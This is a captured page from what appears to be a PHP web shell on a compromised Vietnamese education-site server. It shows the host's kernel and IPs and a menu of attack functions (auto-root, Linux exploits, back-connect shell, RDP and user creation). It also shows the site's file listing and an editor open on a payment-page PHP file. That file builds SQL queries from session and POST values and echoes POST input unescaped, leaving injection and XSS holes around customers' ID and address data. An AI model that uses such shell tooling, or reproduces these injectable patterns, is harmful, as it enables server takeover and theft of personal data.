Linux vps.sdns.vn 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 13 14:19:20 UTC 2023 x86_64
LiteSpeed
: 103.74.117.127 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
7.3.33
pcem
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
pcem /
domains /
pcem.edu.vn /
public_html /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
PHPMailer
[ DIR ]
drwxr-xr-x
view_about.php
12.91
KB
-rw-r--r--
view_article _type.php
0
B
-rw-r--r--
view_article.php
18.81
KB
-rw-r--r--
view_brand.php
394
B
-rw-r--r--
view_call_btn.php
11.57
KB
-rw-r--r--
view_confirm.php
883
B
-rw-r--r--
view_contact.php
13.05
KB
-rw-r--r--
view_criteria.php
437
B
-rw-r--r--
view_customer.php
1.92
KB
-rw-r--r--
view_detail_about.php
2.56
KB
-rw-r--r--
view_detail_article.php
21.69
KB
-rw-r--r--
view_detail_document.php
1.85
KB
-rw-r--r--
view_detail_media.php
2.72
KB
-rw-r--r--
view_detail_product.php
3.27
KB
-rw-r--r--
view_document.php
2.58
KB
-rw-r--r--
view_footer.php
4.07
KB
-rw-r--r--
view_header.php
6.78
KB
-rw-r--r--
view_hits.php
871
B
-rw-r--r--
view_home.php
19.52
KB
-rw-r--r--
view_huongdan.php
699
B
-rw-r--r--
view_index.php
3.73
KB
-rw-r--r--
view_khachhangtaiphat.php
1.99
KB
-rw-r--r--
view_lang.php
2.04
KB
-rw-r--r--
view_login.php
9.89
KB
-rw-r--r--
view_media.php
3.26
KB
-rw-r--r--
view_media_type.php
0
B
-rw-r--r--
view_menu_left.php
212
B
-rw-r--r--
view_menu_top.php
1.93
KB
-rw-r--r--
view_menuhome.php
0
B
-rw-r--r--
view_order_detail.php
3.41
KB
-rw-r--r--
view_partner.php
963
B
-rw-r--r--
view_pay_cart.php
42.97
KB
-rw-r--r--
view_pay_cart_not_isset.php
335
B
-rw-r--r--
view_pay_cart_result.php
1.68
KB
-rw-r--r--
view_product.php
2
KB
-rw-r--r--
view_product_cat.php
2.08
KB
-rw-r--r--
view_product_cat3.php
1.99
KB
-rw-r--r--
view_product_cat4.php
1.99
KB
-rw-r--r--
view_product_new.php
1.99
KB
-rw-r--r--
view_register.php
6.61
KB
-rw-r--r--
view_search.php
18.67
KB
-rw-r--r--
view_shopping_cart.php
1.99
KB
-rw-r--r--
view_showroom.php
1.5
KB
-rw-r--r--
view_slideshow - Copy.php
1.38
KB
-rw-r--r--
view_slideshow.php
565
B
-rw-r--r--
view_support.php
1.54
KB
-rw-r--r--
view_thuvien.php
1.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view_pay_cart.php
<style> /* Style the tab */ .paytab { overflow: hidden; background-color: #fff; width: 100%; max-width: 960px; min-width: 640px; margin-right: auto; margin-left: auto; } /* Style the buttons inside the tab */ .paytab button { background-color: inherit; float: left; border: none; outline: none; cursor: pointer; padding: 14px 16px; transition: 0.3s; font-size: 17px; border: 1px solid #ccc; } /* Change background color of buttons on hover */ .paytab button:hover { background-color: #eee; } /* Create an active/current tablink class */ .paytab button.active { background-color: #f1f1f1; } /* Style the tab content */ .tabcontent { display: none; padding: 6px 0; border: 1px solid #ccc; border-top: none; width: 100%; max-width: 960px; min-width: 640px; margin-right: auto; margin-left: auto; min-height: 700px; } /*class tablink*/ .tablinks{ width: 50%; } #taichinh .checkmonth.active { background-color: #eee; } [type="date"] { background:#fff url(http://dev.projectmvc.com/uploads/logo/calendar_2.png) 100% 50% no-repeat ; } [type="date"]::-webkit-inner-spin-button { display: none; } [type="date"]::-webkit-calendar-picker-indicator { opacity: 0; } #datatable a{ cursor: pointer; } </style> <div class="container wrap" id="disablescroll"> <div class="lead_sub"> <?php echo $mod_xu_ly_chung->breadcrumbs();?> </div> <div class="clearb"></div> <div id="contenu"> <?php if(!isset($_POST['btnMuatragop'])) { ?> <form action='' method='POST' id="wrap_cart"> <div > <table class='tb-cart' style="width: 50%;"> <tr> <th colspan="2"><?php echo GUI_PRODUCT;?></th> </tr> <?php if(isset($_SESSION['pay_id_product'])) $idsanpham = $_SESSION['pay_id_product']; $thongtinsanpham = DB::query("SELECT * FROM products WHERE id = '$idsanpham'"); if(count($thongtinsanpham) != 0){ foreach($thongtinsanpham as $item){ ?> <tr id="item-<?php echo $item['id'];?>"> <td> <img src='<?php echo BASE_URL.'uploads/products/_thumbs/'.$item['image_name'];?>' /> </td> <td class='product-name' style='text-align:left;'> Mua trả góp <a style="text-decoration:none;" href='<?php echo BASE_URL.$item['uri_vi'].'-p'.$item['id'].'.html';?>'><?php echo $item['product_name_vi'];?></a> <br> Giá sản phẩm <?php if($item['selloff'] != 0){ $priceNew = $item['price'] - ($item['price'] * ($item['selloff']/100)); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($priceNew, GUI_CURRENCY).'</span><br />'; } else{ echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($item['price'], GUI_CURRENCY).'</span><br />'; } ?> </td> </tr> <?php } ?> <?php }else{ ?> <tr> <td colspan='6'><?php echo GUI_NOT_ITEM;?></td> </tr> <?php }?> </table> </div> </form> <?php } ?> <div class="clear"></div> <br/> <br/> <!--form thanh toán phần trả góp 0%--> <?php if(isset($_POST['btnMuatragop'])) { $id_sanpham = $_SESSION['pay_id_product']; $id_congty = addslashes($_POST['txthiddenIdcongty']); $tenkh = addslashes($_POST['fullname']); $sdtkh = addslashes($_POST['phone']); $cmndkh = addslashes($_POST['cmnd']); $birthkh = addslashes($_POST['date']); $tinhtp = addslashes($_POST['txtTinh']); $quanhuyen = addslashes($_POST['txtHuyen']); $sonha = addslashes($_POST['txtSonha']); $bientratruoc = addslashes($_POST['txthiddenTratruoc']); $biengopmoithang = addslashes($_POST['txthiddenGopmoithang']); $bientongtien= addslashes($_POST['txthiddenTongtien']); $insertinfo = DB::query("INSERT INTO tragop(id_product, id_company, tenkh, phone, cmnd, birthday, tinh, quanhuyen, sonha, tratruoc, gopmoithang, tongtien) VALUES('$id_sanpham', '$id_congty' ,'$tenkh', '$sdtkh', '$cmndkh', '$birthkh', '$tinhtp', '$quanhuyen', '$sonha', '$bientratruoc', '$biengopmoithang', '$bientongtien')"); if($insertinfo) { unset($_SESSION['pay_id_product']); unset($_SESSION['phantram']); unset($_SESSION['savemonth']); } ?> <script> alert('Đăng ký trả góp thành công! Chờ phản hồi!'); window.location="<?php echo "/san-pham.html"; ?>"; </script> <?php } if(isset($_POST['btntragop'])) { ?> <section id="wrap_cart"> <div class="backinstall"> <a onclick="history.go(-1);return true;" title="Quay lại">Quay lại</a> <span>Đặt mua trả góp</span> </div> <form id="frmorder" method="post"> <?php $min_month = DB::query("SELECT MIN(value_month) as minmonth FROM laisuat_month"); foreach($min_month as $bien) { $default_month = $bien['minmonth']; } $bienthang = isset($_SESSION['savemonth']) ? $_SESSION['savemonth'] : $default_month; $phantram = isset($_SESSION['phantram']) ? $_SESSION['phantram'] : 30; $getid = explode(':' , $_POST['btntragop']); $idcongty = $getid[1]; $querycompany = DB::query("SELECT * FROM pay_company WHERE id = '$idcongty'"); foreach($querycompany as $getinfo) { ?> <ul class="listorder"> <li class="tragop-price"> <span class="text-left">Gói trả góp:</span> <span class="text-right"><b>LÃI SUẤT 0%</b></span> <span class="text-left"><input type="hidden" name="txthiddenTratruoc" value="<?php echo $_POST["tragop".$idcongty.""]." (".$phantram."%)"; ?>">Trả trước (<?php echo $phantram."%"; ?>):</span> <span class="text-right"><strong><input type="hidden" name="txthiddenIdcongty" value="<?php echo $idcongty; ?>"><?php echo $_POST["tragop".$idcongty.""]; ?></strong></span> <span class="text-left"><input type="hidden" value="<?php echo $_POST["txtGopmoithang".$idcongty.""]." (trong ".$bienthang." tháng)"; ?>" name="txthiddenGopmoithang">Góp mỗi tháng (trong <?php echo $bienthang; ?> tháng):</span> <span class="text-right"><strong><?php echo $_POST["txtGopmoithang".$idcongty.""]; ?></strong></span> <span class="text-left"><b>TỔNG TIỀN:</b></span> <span class="text-right"><strong><b style="font-size: 16px" id="div-total" ><input type="hidden" name="txthiddenTongtien" value="<?php echo $_POST["txtTongtienphaitra".$idcongty.""];?>"><?php echo $_POST["txtTongtienphaitra".$idcongty.""]; ?></b></strong></span> <div class="clear"></div> </li> <li class="tragop-info"> <span>Giấy tờ cần có: <b><?php echo $getinfo['required']; ?></b></span> <span>Công ty tài chính: <b><?php echo $getinfo['name']." - Duyệt hồ sơ trong vòng 4 giờ.";?></b></span> </li> </ul> <?php } ?> <br> <?php //lấy thông tin liên quan đến user đang đăng nhập if(isset($_SESSION['username'])) { $cuslogin = $_SESSION['username']; $results = DB::query("SELECT * FROM users WHERE username = '$cuslogin'"); if(count($results) != 0) { foreach($results as $rows) { ?> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input value="<?php echo ucwords($rows['name']); ?>" type="text" name="fullname" id="fullname" class="large-field" readonly><br> </div> <br> <div class="left1"> <input required type="text" name="cmnd" id="cmnd" class="large-field" placeholder="* Số CMND"><br> </div> </div> </div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input value="<?php echo ucwords($rows['phone']); ?>" type="text" name="phone" id="phone" class="large-field" readonly><br> </div> <br> <div class="left1"> <input onfocus="(this.type='Ngày sinh')" style="height: 34px; width: 98%;" required type="date" name="date" id="date" class="large-field" placeholder="*Ngày tháng năm sinh"><br> </div> </div> </div> <div class="clear"></div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"><b>Địa chỉ hộ khẩu</b></div> </div> </div> <div class="clear"></div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txtTinh" id="txtTinh" class="large-field" placeholder="* Tỉnh, Thành Phố"><br> </div> </div> </div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txtHuyen" id="txtHuyen" class="large-field" placeholder="* Quận, Huyện"><br> </div> </div> </div> <div class="clear"></div> <div class="onecheckout col-sm-12 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txtSonha" id="txtSonha" class="large-field" placeholder="* Số nhà, tên đường"><br> </div> </div> </div> <?php } } } else { ?> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="fullname" id="fullname" class="large-field" placeholder="* Họ tên"><br> </div> <br> <div class="left1"> <input required type="text" pattern="[0-9]{9}" name="cmnd" id="cmnd" class="large-field" placeholder="* Số CMND"><br> </div> </div> </div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" pattern="[0-9]{10,13}" name="phone" id="phone" class="large-field" placeholder="* Số điện thoại"><br> </div> <br> <div class="left1"> <input placeholder="*Ngày tháng năm sinh" onfocus="(this.type='date')" onblur="(this.type='text')" style="height: 28px; width: 96%;" required type="text" name="date" id="date" class="large-field" ><br> </div> </div> </div> <div class="clear"></div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"><b>Địa chỉ hộ khẩu</b></div> </div> </div> <div class="clear"></div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txtTinh" id="txtTinh" class="large-field" placeholder="* Tỉnh, Thành Phố"><br> </div> </div> </div> <div class="onecheckout col-sm-6 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txtHuyen" id="txtHuyen" class="large-field" placeholder="* Quận, Huyện"><br> </div> </div> </div> <div class="clear"></div> <div class="onecheckout col-sm-12 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1"> <input required type="text" name="txtSonha" id="txtSonha" class="large-field" placeholder="* Số nhà, tên đường"><br> </div> </div> </div> <?php } ?> <div class="onecheckout col-sm-12 col-md-4 col-xs-12"> <div class="onecheckout-content"> <div class="left1" style="text-align:center;"> <input style="line-height: 20px;background: #f1592a;border: 0;border-radius: 3px;width: 20%;padding: 10px 10px;font-weight: normal;" type="submit" name="btnMuatragop" value="Đặt mua trả góp"> </div> </div> </div> </form> </section> <?php } else { if(isset($_POST['tabnormal'])) { $_SESSION['method'] = 'normal'; } if(isset($_POST['tabcredit'])) { $_SESSION['method'] = 'credit'; } ?> <div class="paytab"><form method="post"> <button value="normal" name="tabnormal" class="tablinks <?php if($_SESSION['method'] == 'normal') echo "active"; ?>" ><span>CÔNG TY TÀI CHÍNH<br>Duyệt online trong 4 giờ</span></button> <button value="credit" name="tabcredit" class="tablinks <?php if($_SESSION['method'] == 'credit') echo "active"; ?>" ><span>QUA THẺ TÍN DỤNG<br>Không cần xét duyệt<span></button></form> </div> <div id="taichinh" class="tabcontent" <?php if($_SESSION['method'] == 'normal') echo "style='display: inherit;'";?> > <form method="post"> <?php //lấy ra tháng nhỏ nhất $min_month = DB::query("SELECT MIN(value_month) as minmonth FROM laisuat_month"); foreach($min_month as $bien) { $default_month = $bien['minmonth']; } $laisuat_month = DB::query("SELECT DISTINCT month, value_month FROM laisuat_month"); $bienthang = isset($_SESSION['savemonth']) ? $_SESSION['savemonth'] : $default_month; echo '<div class="allcheckmonth">'; $n = 0; foreach($laisuat_month as $month) { $n++; ?> <input type="hidden" id="checkmonth<?php echo $n; ?>" value="<?php echo $month['value_month']; ?>"/> <div onclick="showMonth(document.getElementById('checkmonth<?php echo $n;?>').value);" class="checkmonth <?php if($bienthang == $month['value_month']) echo "active"; ?>" value="<?php echo $month['value_month']; ?>"> <?php echo $month['month']; ?> </div> <?php } ?> <script> function showMonth(str) { if (str.length == 0) { //document.getElementById("txtHint").innerHTML = ""; return; } else { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { //document.getElementById("txtHint").innerHTML = this.responseText; } } xmlhttp.open("GET", "getmonth.php?q="+str, true); xmlhttp.send(); location.reload(); } } </script> </div> <!--bảng hiển thị thông tin trả góp--> <table class="paytable" style="margin-left:auto; margin-right: auto; width:90%; "> <!--<th>,query lấy hình ảnh của công ty trả góp--> <tr> <th style="width:33%; text-align:left;">Công ty</th> <?php if(isset($_SESSION['pay_id_product'])) { $pay_id_prduct = $_SESSION['pay_id_product']; } $pay_id_prduct = isset($_SESSION['pay_id_product'])?$_SESSION['pay_id_product']:''; $result = DB::query("SELECT * FROM pay_company"); if(count($result) != 0) { foreach($result as $rows) { ?> <th style="width:33%;"><p class="image<?php echo $rows['classcss']; ?>"></p></th> <?php } } ?> </tr> <!--end <th>,query lấy hình ảnh của công ty trả góp--> <!--kiểm tra xem tháng + phần trăm có nằm trong csdl hay không, nếu có thì hiển thị, không thì hiện không hỗ trợ --> <!--end kiểm tra--> <!--Giá sản phẩm--> <tr> <td>Giá sản phẩm</td> <?php //$pay_id_prduct $infoProduct = DB::query("SELECT price, priceselloff FROM products WHERE id = '$pay_id_prduct'"); $tratruoc = isset($_SESSION['phantram']) ? $_SESSION['phantram'] : 30; if(count($infoProduct) != 0) { foreach($infoProduct as $row) { foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { ?> <td><?php echo number_format($row['price'],0,'.','.')."₫"; ?></td> <?php } elseif(count($laisuatthucphang) == 0) { ?> <td><?php echo ""; ?></td> <?php } } } } ?> </tr> <!--end Giá sản phẩm--> <!--Giá mua trả góp (giá khuyến mãi của sản phẩm)--> <tr> <td>Giá mua trả góp</td> <?php if(count($infoProduct) != 0) { foreach($infoProduct as $row) { foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { ?> <td style="color: #F1592A;"><?php echo number_format($row['priceselloff'],0,'.','.')."₫"; ?></td> <?php } elseif(count($laisuatthucphang) == 0) { ?> <td style="color: #F1592A;"><?php echo ""; ?></td> <?php } } } } ?> </tr> <!--End Giá mua trả góp (giá khuyến mãi của sản phẩm)--> <!--Mục trả trước--> <tr> <td> Trả trước <div class="tratruoc" onmousedown="document.getElementById('phantramtable').style.display='table'"> <?php if(isset($_SESSION['phantram'])) { echo $_SESSION['phantram']."%"; } else { echo "Chọn"; } ?> <i class="fas fa-caret-down"></i> </div> <script> function showHint(str) { if (str.length == 0) { document.getElementById("txtHint1").innerHTML = ""; document.getElementById("txtHint2").innerHTML = ""; return; } else { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("txtHint1").innerHTML = this.responseText; document.getElementById("txtHint2").innerHTML = this.responseText; } } xmlhttp.open("GET", "gethint.php?q="+str, true); xmlhttp.send(); location.reload(); } } function closetable(){ document.getElementById('phantramtable').style.display = 'none'; } </script> <table id="phantramtable" class="phantramtable" style="overflow: hidden;background: #fff;border-radius: 4px;position: fixed;left: 0;right: 0;top: 52%;transform: translateY(-50%);z-index: 4;width: 30%;text-align: center;margin: 0 auto;display:none;"> <thead> <tr> <th colspan="2" style="font-size:23px;">CHỌN TIỀN TRẢ TRƯỚC <a href="#" onclick="document.getElementById('phantramtable').style.display = 'none';" style="float:right;font-size:20px;font-weight:bold;">x </a></th> </tr> <tr> <td>% trả trước</td> <td>Thành tiền</td> </tr> </thead> <tbody> <form method="post"> <?php //$j = 0; for($i = 0 ; $i < 81 ; $i=$i+10) { //$j++; ?> <tr> <input type="hidden" id="inputvalue<?php echo $i;?>" value="<?php echo number_format((($row['priceselloff']*$i)/100),0,'.','.').",".$i.",".$bienthang;?>"/> <td style="cursor:pointer;" onclick="showHint(document.getElementById('inputvalue<?php echo $i;?>').value); closetable();"><?php echo $i."%"; ?></td> <td style="cursor:pointer;" onclick="showHint(document.getElementById('inputvalue<?php echo $i;?>').value); closetable();"><?php echo number_format((($row['priceselloff']*$i)/100),0,'.','.')."₫";?></td> <input type="hidden" > </tr> <?php } ?> </form> </tbody> </table> <script> input = document.getElementById("phantramtable") input.addEventListener("mousewheel", function(evt){ evt.preventDefault(); }) </script> </td> <?php $i = 1; foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { ?> <td><span id="txtHint<?php echo $i; ?>"> <?php echo number_format(($row['priceselloff']*$tratruoc)/100,0,'.','.')."₫"." (".$tratruoc."%)"; ?> <span> <input type="hidden" value="<?php echo number_format(($row['priceselloff']*$tratruoc)/100,0,'.','.')."₫";?>" name="tragop<?php echo $id_company; ?>"> </td> <?php } elseif(count($laisuatthucphang) == 0) { ?> <td><span id="txtHint<?php echo $i; ?>"> <?php echo ""; ?> </span></td> <?php } $i++; } ?> </tr> <!--end mục trả trước--> <!--Lãi suất thực / phẳng--> <tr> <td>Lãi suất thực / phẳng</td> <?php foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { foreach($laisuatthucphang as $column) { ?> <td> <?php echo $column['laisuatthucphang']; ?> </td> <?php } } else { ?> <td><?php echo ""; ?></td> <?php } } ?> </tr> <!--end Lãi suất thực / phẳng--> <!--Mục giấy tờ cần có, query lấy trog bảng pay_company--> <tr> <td>Giấy tờ cần có</td> <?php if(count($result) != 0) { foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { ?> <td><?php echo $rows['required']; ?></td> <?php } else { ?> <td><?php echo ""; ?></td> <?php } } } ?> </tr> <!--end Mục giấy tờ cần có, query lấy trog bảng pay_company--> <!--mục góp mỗi tháng: giá ban đầu trừ số phần trăm đã trả chia số tháng + phí + bảo hiểm --> <!--nếu không có dữ liệu phí + bảo hiểm ở csdl thì lấy giá trị tiền trả trước nhét vào---> <tr> <td>Góp mỗi tháng <a class="hidecontent" style="text-decoration:none; cursor:pointer;"> Chi tiết <i class="fas fa-angle-down"></i> </a> </td> <?php foreach($result as $rows) { $tientratruoc = ($row['priceselloff'] - (($row['priceselloff']*$tratruoc)/100)) / $bienthang; $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang, phithuho, baohiem FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { foreach($laisuatthucphang as $columns) { ?> <td> <?php $tongtien = $tientratruoc + $columns['phithuho'] + $columns['baohiem']; echo number_format($tongtien,0,'.','.')."₫"; ?> <input type="hidden" value="<?php echo number_format($tongtien,0,'.','.')."₫"; ?>" name="txtGopmoithang<?php echo $id_company; ?>"> </td> <?php } } else { ?> <td> <?php echo ""; ?> </td> <?php } } ?> </tr> <!--end mục góp mỗi tháng: giá ban đầu trừ số phần trăm đã trả chia số tháng + phí + bảo hiểm --> <!----------------tr này ẩn đi click vô mới hiện ra----------------> <!--tính gốc + lãi--> <tr class="showhide" style="background-color:#fff4de; display: none;"> <td>Gốc + lãi</td> <?php foreach($result as $rows) { $tientratruoc = ($row['priceselloff'] - (($row['priceselloff']*$tratruoc)/100)) / $bienthang; $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { ?> <td><?php echo number_format($tientratruoc,0,'.','.')."₫";?></td> <?php } else { ?> <td><?php echo "";?></td> <?php } } ?> </tr> <!-------end tính gốc + lãi-----> <!--phí thu hộ --> <tr class="showhide" style="background-color:#fff4de; display: none;"> <td>Phí thu hộ</td> <?php foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang, phithuho FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { foreach($laisuatthucphang as $columns) { ?><td><?php echo number_format($columns['phithuho'],0,'.','.')."₫/tháng"; ?></td><?php } } else { ?><td><?php echo ""; ?></td><?php } } ?> </tr> <!-----end phí thu hộ---------> <!--Bảo hiểm--> <tr class="showhide" style="background-color:#fff4de; display: none;"> <td>Bảo hiểm</td> <?php foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang, baohiem FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { foreach($laisuatthucphang as $columns) { ?> <td><?php echo number_format($columns['baohiem'],0,'.','.')."₫/tháng"; ?></td> <?php } } else { ?><td><?php echo ""; ?></td><?php } } ?> </tr> <!-----end bảo hiểm---------> <!--tổng tiền phải trả--> <tr> <td>Tổng tiền phải trả</td> <?php foreach($result as $rows) { $tientratruoc = ($row['priceselloff'] - (($row['priceselloff']*$tratruoc)/100)) / $bienthang; $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang, phithuho, baohiem FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { foreach($laisuatthucphang as $columns) { ?> <td> <?php $tongtien = (($tientratruoc + $columns['phithuho'] + $columns['baohiem']) * $bienthang) + (($row['priceselloff'] * $tratruoc)/100); echo number_format($tongtien,0,'.','.')."₫"; ?> <input type="hidden" name="txtTongtienphaitra<?php echo $id_company; ?>" value="<?php echo number_format($tongtien,0,'.','.')."₫";?>"> </td> <?php } } else { ?> <td> <?php echo ""; ?> </td> <?php } } ?> </tr> <!--end tổng tiền phải trả--> <!--chênh lệch với giá mua thẳng--> <tr> <td>Chênh lệch với mua trả thẳng</td> <?php foreach($result as $rows) { $tientratruoc = ($row['priceselloff'] - (($row['priceselloff']*$tratruoc)/100)) / $bienthang; $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang, phithuho, baohiem FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { foreach($laisuatthucphang as $columns) { ?> <td> <?php $tongtien = (($tientratruoc + $columns['phithuho'] + $columns['baohiem']) * $bienthang) + (($row['priceselloff'] * $tratruoc)/100) - $row['priceselloff']; echo number_format($tongtien,0,'.','.')."₫"; ?> </td> <?php } } else { ?> <td> <?php echo ""; ?> </td> <?php } } ?> </tr> <!--end chênh lệch với giá mua thẳng--> <!--button đặt mua--> <tr> <td></td> <?php foreach($result as $rows) { $id_company = $rows['id']; $laisuatthucphang = DB::query("SELECT laisuatthucphang FROM laisuat_month WHERE id_pay_company = '$id_company' AND tratruoc = '$tratruoc' AND value_month = '$bienthang'"); if(count($laisuatthucphang) != 0) { ?> <td><div class="area_order"><button style="width:auto;" name="btntragop" id="buy" class="btOrange buttonB" value="<?php echo "idcompany:".$id_company; ?>">đặt mua</button></div></td> <?php } else { ?> <td><div class="area_order"><button style="width:auto; cursor: no-drop" id="buy" class="btOrange buttonN" disabled>không hỗ trợ</button></div></td> <?php } } ?> </tr> <!--end button đặt mua--> </table> <!--end bảng hiển thị thông tin trả góp--> </form> <!--show thông tin sdt công ty--> <div class="financial"> <span>Liên hệ các công ty tài chính</span> <table class="paytable" style="margin-left:auto; margin-right: auto; width:60%; "> <!--<th>,query lấy hình ảnh của công ty trả góp--> <tr> <?php foreach($result as $rows) { ?> <th style="width:30%;"><p class="image<?php echo $rows['classcss']; ?>"></p></th> <?php } ?> </tr> <tr> <?php foreach($result as $rows) { ?> <td style="width:30%;"><?php echo $rows['lienhe']; ?></td> <?php } ?> </tr> </table> </div> </div> <?php } ?> <div class="clear"></div> <div id="datatable" class="tabcontent" <?php if($_SESSION['method'] == 'credit') echo "style='display: inherit;'";?>> <div class="listbank" id="listbank"> <form id="pay_bank" method="post"> <div class="listbank" id="listbank"> <?php $getinfoBank = DB::query("SELECT * FROM pay_bank"); foreach($getinfoBank as $row) { ?> <input type="hidden" id="<?php echo $row['name']; ?>" value="<?php echo $row['name']; ?>"> <a onclick="showInfopay(document.getElementById('<?php echo $row['name']; ?>').value)"><p id="<?php echo $row['name']; ?>" value="<?php echo $row['name']; ?>" class="image<?php echo $row['classcss']; ?>"></p></a> <?php } ?> <script> function showInfopay(str) { if (str.length == 0) { document.getElementById("resultinfopay").innerHTML = ""; return; } else { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("resultinfopay").innerHTML = this.responseText; } } xmlhttp.open("GET", "getinfopay.php?q="+str, true); xmlhttp.send(); location.reload(); } } </script> </div> <div class="clear"></div> <br> <div id="resultinfopay"> <?php if(isset($_SESSION['infobank'])) { ?><table class="paytable" style="margin-left:auto; margin-right: auto; width:97%; "><?php $bank_name = $_SESSION['infobank']; $getinfoMonth = DB::query("SELECT * FROM pay_bank WHERE name = '$bank_name'"); if(count($getinfoMonth) == 1) { foreach($getinfoMonth as $month) { ?> <tr style="font-weight:bold; background-color: #FFEE5D;"> <td colspan="4">Trả góp qua ngân hàng <?php echo "<span style='text-transform: uppercase;'>".$month['name']."</span>"; ?></td> </tr> <tr> <td style="width: 25%;">SỐ THÁNG TRẢ GÓP</td> <td style="width: 25%;">6 tháng</td> <td style="width: 25%;">9 tháng</td> <td style="width: 25%;">12 tháng</td> </tr> <tr> <td>Giá mua trả góp</td> <td> <?php if(isset($_SESSION['pay_id_product'])) { $idsanpham = $_SESSION['pay_id_product']; } $thongtinsanpham = DB::query("SELECT * FROM products WHERE id = '$idsanpham'"); foreach($thongtinsanpham as $item) { echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($item['price'], GUI_CURRENCY).'</span><br />'; } ?> </td> <td> <?php if($item['selloff'] != 0){ $priceNew = $item['price'] - ($item['price'] * ($item['selloff']/100)); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($priceNew, GUI_CURRENCY).'</span><br />'; } else{ echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($item['price'], GUI_CURRENCY).'</span><br />'; } ?> </td> <td> <?php if($item['selloff'] != 0){ $priceNew = $item['price'] - ($item['price'] * ($item['selloff']/100)); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($priceNew, GUI_CURRENCY).'</span><br />'; } else{ echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($item['price'], GUI_CURRENCY).'</span><br />'; } ?> </td> </tr> <tr> <td>Góp mỗi tháng</td> <td> <?php $gop6thang = ( $item['price'] / 6 ) + ( $month['6thang'] * $item['price'] / 100 ); echo '<span style="color: #F60;">'.$mod_xu_ly_chung->dinh_dang_tien($gop6thang, 